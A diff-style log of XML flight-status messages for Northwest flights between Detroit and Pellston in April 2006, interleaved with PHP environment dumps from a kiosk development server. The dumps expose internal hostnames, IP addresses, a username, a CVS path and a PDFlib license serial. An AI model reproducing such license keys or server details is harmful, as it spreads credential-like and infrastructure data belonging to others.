+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T13:38:31Z</msg_dtm><msg_seq_id>114623151100000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3207</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T09:05:00</out_dtm><off_dtm typ=\"2\">2006-04-28T09:15:00</off_dtm><on_dtm typ=\"2\">2006-04-28T10:32:00</on_dtm><in_dtm typ=\"2\">2006-04-28T10:37:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T09:05:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T09:25:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T10:42:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T10:47:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>C43</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde>3207</flt_radio_cde><ac_num>7439</ac_num><ac_reg_num>N439XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>10:47am</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7460</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>7</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>4</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>9</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>TU</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T14:28:47Z</msg_dtm><msg_seq_id>114623452700000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3207</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T09:05:00</out_dtm><off_dtm typ=\"2\">2006-04-28T09:15:00</off_dtm><on_dtm typ=\"2\">2006-04-28T10:32:00</on_dtm><in_dtm typ=\"2\">2006-04-28T10:37:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T09:05:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T09:25:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T10:30:00</on_dtm><on_tme_type_cde>A</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T10:35:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>C43</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde>3207</flt_radio_cde><ac_num>7439</ac_num><ac_reg_num>N439XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>Landed</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7460</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>7</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>4</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>9</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>TU</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T14:37:57Z</msg_dtm><msg_seq_id>114623507700000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3207</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T09:05:00</out_dtm><off_dtm typ=\"2\">2006-04-28T09:15:00</off_dtm><on_dtm typ=\"2\">2006-04-28T10:32:00</on_dtm><in_dtm typ=\"2\">2006-04-28T10:37:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T09:05:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T09:25:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T10:30:00</on_dtm><on_tme_type_cde>A</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T10:35:00</in_dtm><in_tme_type_cde>A</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>C43</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde>3207</flt_radio_cde><ac_num>7439</ac_num><ac_reg_num>N439XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>Arrived</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7460</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>7</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>4</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>9</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>TU</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T15:02:30Z</msg_dtm><msg_seq_id>114623655000000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T15:17:00</out_dtm><off_dtm typ=\"2\">2006-04-28T15:36:00</off_dtm><on_dtm typ=\"2\">2006-04-28T16:25:00</on_dtm><in_dtm typ=\"2\">2006-04-28T16:30:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T15:17:00</out_dtm><out_tme_type_cde>S</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T15:36:00</off_dtm><off_tme_type_cde>S</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T16:25:00</on_dtm><on_tme_type_cde>S</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T16:30:00</in_dtm><in_tme_type_cde>S</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>C36</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde/><ac_num>8751</ac_num><ac_reg_num>N8751D</ac_reg_num><subfleet>CR4</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7254</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>5981</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><prevpax><flt_orig_dte>2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>FWA</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde></prevpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>30</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>3</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>PDMC</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+HOSTNAME = devsys.gaslightmedia.com<br>
+PVM_RSH = /usr/bin/rsh<br>
+TERM = screen<br>
+SHELL = /bin/bash<br>
+HISTSIZE = 1000<br>
+SSH_CLIENT = 66.129.32.149 8829 22<br>
+CVSROOT = :pserver:raleigh@cvs.gaslightmedia.com:/usr/local/cvsroot<br>
+QTDIR = /usr/lib/qt-3.1<br>
+SSH_TTY = /dev/pts/1<br>
+USER = raleigh<br>
+LS_COLORS = no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:<br>
+PVM_ROOT = /usr/share/pvm3<br>
+USERNAME = <br>
+MAIL = /var/spool/mail/raleigh<br>
+PATH = /sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin<br>
+INPUTRC = /etc/inputrc<br>
+PWD = /home/raleigh<br>
+LANG = en_US<br>
+LAMHELPFILE = /etc/lam/lam-helpfile<br>
+SHLVL = 3<br>
+HOME = /home/raleigh<br>
+XPVM_ROOT = /usr/share/pvm3/xpvm<br>
+BASH_ENV = /home/raleigh/.bashrc<br>
+LOGNAME = raleigh<br>
+SSH_CONNECTION = 66.129.32.149 8829 66.129.32.8 22<br>
+LESSOPEN = |/usr/bin/lesspipe.sh %s<br>
+DISPLAY = localhost:10.0<br>
+G_BROKEN_FILENAMES = 1<br>
+_ = /sbin/initlog<br>
+HELP = ME<br>
+DOCUMENT_ROOT = /home/httpd/www<br>
+GLM_SERVER_ID = devsys.gaslightmedia.com<br>
+HTTP_ACCEPT = text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5<br>
+HTTP_ACCEPT_CHARSET = ISO-8859-1,utf-8;q=0.7,*;q=0.7<br>
+HTTP_ACCEPT_ENCODING = gzip,deflate<br>
+HTTP_ACCEPT_LANGUAGE = en-us,en;q=0.5<br>
+HTTP_CONNECTION = keep-alive<br>
+HTTP_HOST = devsys.gaslightmedia.com<br>
+HTTP_KEEP_ALIVE = 300<br>
+HTTP_USER_AGENT = Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 (Ubuntu package 1.0.8)<br>
+PDFLIBSERIAL = L40300-102733-2200XX-5B12E1<br>
+REMOTE_ADDR = 66.129.32.149<br>
+REMOTE_HOST = nat1.gaslightmedia.com<br>
+REMOTE_PORT = 10641<br>
+SCRIPT_FILENAME = /home/httpd/www/kiosk.pellstonairport.com/nwa_test.phtml<br>
+SERVER_ADDR = 66.129.32.8<br>
+SERVER_ADMIN = hostmaster@gaslightmedia.com<br>
+SERVER_NAME = devsys.gaslightmedia.com<br>
+SERVER_PORT = 80<br>
+SERVER_SIGNATURE = <br>
+SERVER_SOFTWARE = Apache/1.3.31 (Unix) PHP/4.1.2<br>
+GATEWAY_INTERFACE = CGI/1.1<br>
+SERVER_PROTOCOL = HTTP/1.1<br>
+REQUEST_METHOD = GET<br>
+QUERY_STRING = HELP=ME<br>
+REQUEST_URI = /kiosk.pellstonairport.com/nwa_test.phtml?HELP=ME<br>
+SCRIPT_NAME = /kiosk.pellstonairport.com/nwa_test.phtml<br>
+PATH_TRANSLATED = /home/httpd/www/kiosk.pellstonairport.com/nwa_test.phtml<br>
+PHP_SELF = /kiosk.pellstonairport.com/nwa_test.phtml<br>
+argv = Array<br>
+argc = 1<br>
+HTTP_POST_VARS = Array<br>
+_POST = Array<br>
+HTTP_GET_VARS = Array<br>
+_GET = Array<br>
+HTTP_COOKIE_VARS = Array<br>
+_COOKIE = Array<br>
+HTTP_SERVER_VARS = Array<br>
+_SERVER = Array<br>
+HTTP_ENV_VARS = Array<br>
+_ENV = Array<br>
+HTTP_POST_FILES = Array<br>
+_FILES = Array<br>
+_REQUEST = Array<br>
+GLOBALS = Array<br>
+fp = Resource id #1<br>
+value = Resource id #1<br>
+key = value<br>
+--------------END---------------
+
+
+
+
+--------------START---------------
+HOSTNAME = devsys.gaslightmedia.com<br>
+PVM_RSH = /usr/bin/rsh<br>
+TERM = screen<br>
+SHELL = /bin/bash<br>
+HISTSIZE = 1000<br>
+SSH_CLIENT = 66.129.32.149 8829 22<br>
+CVSROOT = :pserver:raleigh@cvs.gaslightmedia.com:/usr/local/cvsroot<br>
+QTDIR = /usr/lib/qt-3.1<br>
+SSH_TTY = /dev/pts/1<br>
+USER = raleigh<br>
+LS_COLORS = no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:<br>
+PVM_ROOT = /usr/share/pvm3<br>
+USERNAME = <br>
+MAIL = /var/spool/mail/raleigh<br>
+PATH = /sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin<br>
+INPUTRC = /etc/inputrc<br>
+PWD = /home/raleigh<br>
+LANG = en_US<br>
+LAMHELPFILE = /etc/lam/lam-helpfile<br>
+SHLVL = 3<br>
+HOME = /home/raleigh<br>
+XPVM_ROOT = /usr/share/pvm3/xpvm<br>
+BASH_ENV = /home/raleigh/.bashrc<br>
+LOGNAME = raleigh<br>
+SSH_CONNECTION = 66.129.32.149 8829 66.129.32.8 22<br>
+LESSOPEN = |/usr/bin/lesspipe.sh %s<br>
+DISPLAY = localhost:10.0<br>
+G_BROKEN_FILENAMES = 1<br>
+_ = /sbin/initlog<br>
+DOCUMENT_ROOT = /home/httpd/www<br>
+GLM_SERVER_ID = devsys.gaslightmedia.com<br>
+HTTP_ACCEPT = text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5<br>
+HTTP_ACCEPT_CHARSET = ISO-8859-1,utf-8;q=0.7,*;q=0.7<br>
+HTTP_ACCEPT_ENCODING = gzip,deflate<br>
+HTTP_ACCEPT_LANGUAGE = en-us,en;q=0.5<br>
+HTTP_CONNECTION = keep-alive<br>
+HTTP_HOST = devsys.gaslightmedia.com<br>
+HTTP_KEEP_ALIVE = 300<br>
+HTTP_USER_AGENT = Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 (Ubuntu package 1.0.8)<br>
+PDFLIBSERIAL = L40300-102733-2200XX-5B12E1<br>
+REMOTE_ADDR = 66.129.32.149<br>
+REMOTE_HOST = nat1.gaslightmedia.com<br>
+REMOTE_PORT = 10984<br>
+SCRIPT_FILENAME = /home/httpd/www/kiosk.pellstonairport.com/nwa_test.phtml<br>
+SERVER_ADDR = 66.129.32.8<br>
+SERVER_ADMIN = hostmaster@gaslightmedia.com<br>
+SERVER_NAME = devsys.gaslightmedia.com<br>
+SERVER_PORT = 80<br>
+SERVER_SIGNATURE = <br>
+SERVER_SOFTWARE = Apache/1.3.31 (Unix) PHP/4.1.2<br>
+GATEWAY_INTERFACE = CGI/1.1<br>
+SERVER_PROTOCOL = HTTP/1.1<br>
+REQUEST_METHOD = GET<br>
+QUERY_STRING = <br>
+REQUEST_URI = /kiosk.pellstonairport.com/nwa_test.phtml<br>
+SCRIPT_NAME = /kiosk.pellstonairport.com/nwa_test.phtml<br>
+PATH_TRANSLATED = /home/httpd/www/kiosk.pellstonairport.com/nwa_test.phtml<br>
+PHP_SELF = /kiosk.pellstonairport.com/nwa_test.phtml<br>
+argv = Array<br>
+argc = 0<br>
+HTTP_POST_VARS = Array<br>
+_POST = Array<br>
+HTTP_GET_VARS = Array<br>
+_GET = Array<br>
+HTTP_COOKIE_VARS = Array<br>
+_COOKIE = Array<br>
+HTTP_SERVER_VARS = Array<br>
+_SERVER = Array<br>
+HTTP_ENV_VARS = Array<br>
+_ENV = Array<br>
+HTTP_POST_FILES = Array<br>
+_FILES = Array<br>
+_REQUEST = Array<br>
+GLOBALS = Array<br>
+fp = Resource id #1<br>
+value = Resource id #1<br>
+key = value<br>
+--------------END---------------
+
+
+
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T15:25:00Z</msg_dtm><msg_seq_id>114623790000000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3232</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T11:12:00</out_dtm><off_dtm typ=\"2\">2006-04-28T11:17:00</off_dtm><on_dtm typ=\"2\">2006-04-28T12:29:00</on_dtm><in_dtm typ=\"2\">2006-04-28T12:34:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T11:10:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T11:23:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T12:35:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T12:40:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C8</arvl_gate><flt_radio_cde>3232</flt_radio_cde><ac_num>7439</ac_num><ac_reg_num>N439XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>Departed</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7499</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>4532</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3232</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>TRI</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>29</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>2</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>31</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>TU</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T15:59:05Z</msg_dtm><msg_seq_id>114623994500000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3232</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T11:12:00</out_dtm><off_dtm typ=\"2\">2006-04-28T11:17:00</off_dtm><on_dtm typ=\"2\">2006-04-28T12:29:00</on_dtm><in_dtm typ=\"2\">2006-04-28T12:34:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T11:10:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T11:23:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T12:18:00</on_dtm><on_tme_type_cde>R</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T12:23:00</in_dtm><in_tme_type_cde>R</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C8</arvl_gate><flt_radio_cde>3232</flt_radio_cde><ac_num>7439</ac_num><ac_reg_num>N439XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>Departed</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7499</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>4532</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3232</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>TRI</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>29</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>2</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>31</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_